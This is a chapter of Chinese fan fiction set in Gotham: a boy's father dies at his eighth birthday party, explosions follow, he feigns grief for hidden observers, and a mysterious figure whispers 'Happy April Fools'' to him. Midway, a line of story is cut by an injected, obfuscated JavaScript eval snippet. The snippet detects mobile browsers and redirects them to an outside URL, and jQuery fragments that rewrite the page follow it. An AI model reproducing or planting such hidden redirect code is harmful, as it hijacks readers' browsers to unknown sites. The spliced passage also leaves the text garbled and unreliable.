四月一日，愚人节。
宴会厅被午后的阳光与水晶灯的光揉成了一片暖金色。
象牙白的地毯从门厅一路铺到舞台前，两侧的长桌上码着三层高的香槟塔、银质托盘盛着的精致冷餐，还有缀满新鲜玫瑰的花艺装饰。
空气里飘着奶油的甜香、香槟的清冽，还有上流人士身上昂贵香水交织的气息。
哥谭半数有头有脸的人物都挤在了这里——沃恩家族的声望摆在这，没人会错过这场能攀关系、搭人脉的顶级社交场。
西装革履的男人举着酒杯低声谈笑，穿礼裙的女士们凑在一起轻声寒暄，连孩子都被打扮得一丝不苟，被家长牵着，在人群里穿梭。
整个宴会厅热闹、体面，像一场编排到极致的盛大演出。
而这场演出的主角，伊洛斯·沃恩，正端着一杯没动过的果汁，靠在宴会厅角落的罗马柱后。
他穿着量身定制的黑色小西装，领口别着一枚小巧的珍珠胸针。
母亲留下的那枚星芒吊坠藏在衬衫领子里，银色链身贴着皮肤，中间的墨蓝色宝石带着一点微凉的触感。
他脸上挂着恰到好处的腼腆笑容，应付着一波又一波上前来寒暄的宾客，心里却早已把这场面拆解得明明白白。
这些人看的从来不是他这个八岁小孩，是他身后沃恩家的财富，是藏在暗处的权力。
【十一点方向，有人往你这边走了，想让你父亲给他的新项目注资，预计二十秒到。】
隐藏在耳中的微型通讯器里，传来提姆压得很低的声音，带着一点不易察觉的笑意，清晰又稳定。
伊洛斯指尖在杯壁上轻轻敲了敲，算是回应。
提姆就坐在宴会厅另一侧的吧台边，穿着一身少年人的休闲西装，面前摊着一台不起眼的笔记本电脑，像个跟着家长来宴会、百无聊赖的富家小孩。
没人会多注意这个十几岁的少年，更没人知道，他正黑进了庄园的监控系统，帮伊洛斯盯着全场所有人的动向，充当着他专属的“场外技术支援”。
这是他们早就约好的——伊洛斯负责在台前演好乖小孩，提姆负责在幕后帮他挡掉所有不必要的麻烦，给他报动向，找脱身的借口。
伊洛斯抬眼，果然看见一个穿深灰西装的男人正笑着往他这边走。
他不动声色地往柱子后又缩了半步，刚好避开对方的视线，顺势转身，撞上了正走过来的艾文。
“少爷，主持人准备开场了，先生让您去舞台侧方等着。”艾文弯腰，低声在他耳边说。
伊洛斯点了点头，把手里的果汁递给艾文，理了理西装下摆，脸上的腼腆笑容收得恰到好处，只剩一点符合场合的乖巧。
他顺着人流的缝隙往舞台走，路过吧台的时候，和提姆对视了一眼。
提姆对着他比了个“OK”的手势，指尖在电脑键盘上敲了敲：
【全场监控正常，安保动线没有异常，只有三个不在邀请名单里的生面孔，在西侧角落坐着，我盯着呢。】
伊洛斯微微颔首，没说话，转身走进了舞台侧方的阴影里。
很快，主持人拿着话筒走上台，笑着抬高了声音，清亮的嗓音盖过了全场的喧闹：
“各位来宾，各位朋友，下午好！非常感谢大家今天莅临伊洛斯·沃恩少爷的八岁生日宴！”
全场响起了礼貌的掌声。
主持人笑着说了几句开场词，话锋一转，语气里满是热情：“接下来，让我们用最热烈的掌声，有请我们今天的小寿星——伊洛斯·沃恩，上台许愿、切蛋糕！”
聚光灯“唰”地一下打了过来，精准地落在伊洛斯身上。
全场的目光瞬间汇聚过来，掌声更响了。
伊洛斯迎着光，一步步走上高台。
舞台正中央，摆着一个足足三层高的生日蛋糕，奶油洁白细腻，上面缀满了新鲜的水果和糖霜装饰，最顶端插着一根数字“8”的蜡烛，暖黄的火苗轻轻晃着。
他站定在蛋糕前，台下的掌声慢慢停了下来，全场安静得只剩下轻柔的背景音乐。
伊洛斯低下头，闭上了眼睛。
所有人都等着他许愿。
就在这闭眼许愿的短短几秒里，伊洛斯的神经猛地绷紧了。
他听见了。
极其细微、几乎被背景音乐完全盖住的金属摩擦声，从宴会厅上方的天花板夹层里传来，轻得像老鼠爬过，却逃不过他苟了七年、练出来的敏锐听觉。
同时，一丝甜得发腻、近乎诡异的气息，顺着舞台上方的通风口飘了下来，混在蛋糕的甜香里，格格不入。
还有一点淡淡的、炸药的硫磺味。
脑子里瞬间闪过几个念头：愚人节玩笑？意外？还是……其他？那点淡淡的硫磺味不对。
伊洛斯的眼皮微微动了动。
警觉瞬间拉满。
可他没动，依旧保持着闭眼许愿的姿势。
在这种万众瞩目的场合，任何多余的动作，都会把自己推到风口浪尖。
他只能等。
三秒后，他睁开了眼。
就在他睫毛抬起的同一瞬间——
“咚——！”
一声沉重到震得舞台微微发颤的闷响。
一个人影径直坠落，狠狠砸在了他面前的生日蛋糕中央。
奶油飞溅，顶层的蛋糕瞬间坍塌，洁白的奶油混着刺目的红色液体，顺着蛋糕的边缘往下淌，晕开一片令人心惊的颜色。
几滴奶油溅到了伊洛斯的嘴角。
他下意识地，极轻地舔了一下。
甜的。腥的。
全场先是死一般的寂静。
随即，爆发出一阵迟疑的、哄堂的笑声。
“哇！这愚人节的惊喜也太拼了吧！”
“道具做得好逼真啊！沃恩家也太会玩了！”
“哈哈哈哈吓我一跳，还以为真出事了！”
………
笑声此起彼伏，所有人都以为这是沃恩家准备的愚人节玩笑，甚至还有人鼓起了掌，吹起了口哨。
笑声只持续了短短两秒。
前排有人看清了那张脸。
看清了那件染血的深灰色西装，看清了那张他们半小时前还在敬酒、寒暄、笑着攀谈的脸。
是维克多·沃恩。是沃恩家族的家主，伊洛斯的父亲。
不是道具。不是表演。
是一具还在淌血的尸体。
哄笑瞬间卡在了喉咙里。
整个宴会厅，骤然陷入了死一般的寂静。连呼吸声都听不见了。
下一秒，撕心裂肺的尖叫，瞬间炸穿了整个宴会厅。
“死人了——！！！”
“快跑啊！！！”
尖叫声还没落地——
“轰——！”
一声闷响从宴会厅的侧厅炸开。
紧接着是第二声、第三声爆炸，震动顺着地板传上来，头顶的水晶灯疯狂摇晃，灯光疯狂闪烁。
椅子被撞翻，香槟塔轰然倒塌，玻璃杯碎裂的声音、女人的尖叫、孩子的哭声、男人的呵斥声交织在一起，刚才还体面优雅的宴会厅，瞬间变成了人间炼狱。
伊洛斯站在高台上，下意识后退一步。
他低头，静静看着砸在蛋糕里、已经没了呼吸的父亲。
没有悲伤。没有恐惧。
只有一个想法从脑子里冒出来，像从裂缝里渗出的水，拦都拦不住：
世界是假的，台词是编的，连死法都挑了个最荒谬的。
他小心翼翼苟了七年。
每天都在怕，怕哥谭的黑暗，怕自己活不到十七岁。
他把所有的锋芒都藏起来，装成一个无害的、腼腆的乖小孩，就是为了安稳地活到十七岁，完成自己的闭环。
结果呢？他防了七年的东西，没把他怎么样。
他便宜父亲，就这么荒诞地、毫无预兆地，从天花板上掉下来，死在了他的生日宴上，死在了愚人节。
像个拙劣又可笑的玩笑。
他七年的谨小慎微，七年的担惊受怕，七年的步步为营，全都是个笑话。
这个世界，就是个随便演演的草台班子。
下一个瞬间，伊洛斯猛地回神。
他现在是八岁。
是刚刚亲眼目睹父亲惨死在面前的小孩。
他应该怕。应该哭。应该崩溃。
伊洛斯的表情瞬间垮了。
眼眶骤然泛红，眼泪毫无预兆地砸了下来，顺着脸颊往下淌。
他浑身控制不住地发抖，踉跄了半步，看着蛋糕里的父亲，撕心裂肺地喊了出来，声音抖得不成样子，带着彻底的崩溃。
他哭得站都站不稳，扶着蛋糕台的边缘，肩膀剧烈地抖动，完全是一个被吓破了胆、失去了父亲的孩子该有的样子。
演得完美无缺，连他自己都快信了。
宴会厅西侧的角落里，两个穿着统一黑西装、全程没说过一句话的男人，看着台上崩溃大哭的伊洛斯，对视了一眼，微微摇了摇头，在心里默默打下了标签：
【情绪控制不合格，受刺激后彻底失
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440101|201024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
控，不具备威胁性，稳定性不达标。】
他们是猫头鹰法庭的观察员。
这场宴会，本就是他们给伊洛斯准备的一场考核。
而现在，这个八岁的继承人，在他们眼里，已经成了个不合格的废物。
混乱里，艾文疯了一样冲破人群，跌跌撞撞地冲上高台，一把将浑身发抖、哭得撕心裂肺的伊洛斯紧紧抱进怀里，用自己的后背挡住了乱飞的碎片和拥挤的人群，声音抖得不成样子：“少爷！别怕！别怕！我带您走！我们离开这里！……”
他抱着伊洛斯，用身体护着他，挤开尖叫着乱跑的人群，拼了命地往消防通道的方向冲。
昏暗的消防通道口，人流混乱地往外涌，没人注意到一个穿着服务生制服的男人，正逆着人流往里走。
就在擦肩而过的一瞬间，伊洛斯埋在艾文颈窝里的脸，微微抬了一下。
他撞进了一双亮得惊人的、带着疯癫笑意的眼睛里。
男人脸上沾了一点奶油和香槟渍，手里拧着半瓶喝了一半的香槟，看起来就像个忙乱里偷摸喝酒的临时工。
周围全是尖叫着乱跑的人，没人多看他一眼。
只有他，视线一秒都没偏移，死死锁在伊洛斯还挂着眼泪的脸上，看清了他眼底深处那片与崩溃完全不符的、死水般的平静。
男人嘴角的笑意咧开到一个非人的、近乎撕裂的弧度，露出森白的牙齿。
两个人擦肩而过的瞬间，他微微俯下身，用气声对着伊洛斯的耳朵，说了一句轻得只有他们两个人能听见的话，刚好被淹没在尖叫和远处的警笛声里：
“Happy April Fools''.”
伊洛斯的睫毛颤了一下，没说话。
重新把脸埋回艾文的颈窝，哭得更凶了，完美接回了那个崩溃的小孩角色。
艾文抱着他冲进了消防通道，脚步飞快地往楼下跑。
【伊洛斯？伊洛斯？！听得见吗？！滋滋……信号中断……】
微型通讯器里，提姆的声音早就被杂音切断了。
吧台边，提姆看着电脑屏幕上瞬间黑掉的监控画面，脸色猛地一变，猛地合上电脑就想往舞台冲，却被失控的人群死死困住，挤得动弹不得。
他看不见高台上发生了什么，不知道坠落的是谁，不知道伊洛斯在哪，是不是安全。
他什么都做不了。只能被困在混乱里，听着周围的尖叫和爆炸声，心脏沉到了谷底。
警笛声撞破宴会厅大门的时候，天已经擦黑了。
红蓝交替的光透过破碎的落地窗，在狼藉的宴会厅里晃了一夜。直到天快亮的时候，警方才完成现场勘查。
宾客散尽，尸体被抬走，狼藉的宴会厅被清空，只剩下满地的碎玻璃和奶油污渍，还有散不去的血腥味。
深夜的书房里，只开了书桌上的一盏小台灯。
伊洛斯坐在书桌后的椅子上，已经换掉了沾了奶油和血渍的西装，穿着一身柔软的家居服。
脸上没有泪痕，没有崩溃，平静得像什么都没发生过。
领口下的芒星吊坠露了出来，墨蓝色的宝石在灯光下泛着一点幽微的光。
房门被轻轻推开。
提姆走了进来，眼底带着浓重的青黑，还有没散去的后怕和担忧。
他反手关上房门，走到书桌前，停下脚步。
两个人隔着一张书桌，沉默地对视着。
空气里只剩下一种心照不宣的沉重，还有一种被彻底打碎后、重新拼凑起来的、陌生的平静。
最终，是提姆先开了口。声音很轻，带着一点沙哑：
“对不起。信号被切断的时候，我什么都做不了，没能护住你。”
伊洛斯看着他，指尖轻轻摩挲着项链上的星芒宝石。
语气淡得像一潭死水，听不出任何情绪：
“这不是你的责任。提姆。”
“有些事，本来就不是谁能拦住的。”
“所以请不要把这些归结到自己身上。”
提姆看着他眼底深处，那片与八岁年龄完全不符的、看透了一切的淡漠，心脏猛地一缩。
他忽然明白了。
今天这场愚人节的生日宴，这场荒诞的死亡，毁掉的不只是一个父亲，一个完整的家。
它打碎了伊洛斯最后一点“假装正常、小心翼翼苟活”的理由。
从今天起，哥谭少了一个安分守己、腼腆无害的沃恩家小少爷。
多了一个彻底看透了这场草台班子，再也没有任何顾忌的观众。